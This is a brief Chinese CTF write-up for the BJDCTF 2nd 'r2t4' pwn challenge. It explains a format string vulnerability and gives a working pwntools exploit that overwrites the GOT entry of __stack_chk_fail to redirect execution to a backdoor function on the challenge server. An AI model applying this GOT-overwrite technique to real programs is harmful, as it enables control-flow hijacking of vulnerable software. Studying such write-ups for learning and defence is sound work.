[BJDCTF 2nd] r2t4

题目下载地址:点此下载
查保护
[BJDCTF 2nd] r2t4_第1张图片
此处存在格式化字符串漏洞
[BJDCTF 2nd] r2t4_第2张图片
利用格式化字符串漏洞复写got表中的__stack_chk_fail地址,这个函数的作用是,当程序出现栈溢出的时候执行此函数,利用格式化字符串漏洞把这个函数的got表地址覆盖为后门函数
[BJDCTF 2nd] r2t4_第3张图片

EXP:

from pwn import *
 
context(arch='amd64',os='linux',word_size='64')
#p = process('./r2t4')

p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

格式化字符串请看CTF-WIKI:传送门

你可能感兴趣的:(CTF-PWN)